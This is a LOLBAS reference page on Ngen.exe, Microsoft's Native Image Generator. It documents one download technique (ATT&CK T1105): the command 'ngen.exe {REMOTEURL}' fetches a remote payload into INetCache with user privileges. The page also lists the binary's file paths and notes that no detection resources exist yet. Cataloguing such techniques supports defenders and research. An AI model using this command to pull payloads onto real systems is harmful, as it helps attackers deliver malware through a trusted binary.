LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Ngen.exe

View source

Microsoft Native Image Generator.

01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
00DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Download1

EXAMPLE 01T1105

Downloads payload from remote server using the Microsoft Native Image Generator utility.

COMMAND
ngen.exe {REMOTEURL}
USE CASE
It will download a remote payload and place it in INetCache.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ngen.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

0 resources

No detection resources documented yet.

Contribute detection coverage
COMMUNITY RESEARCH

Acknowledgements

Avihay Eldad@AvihayEldad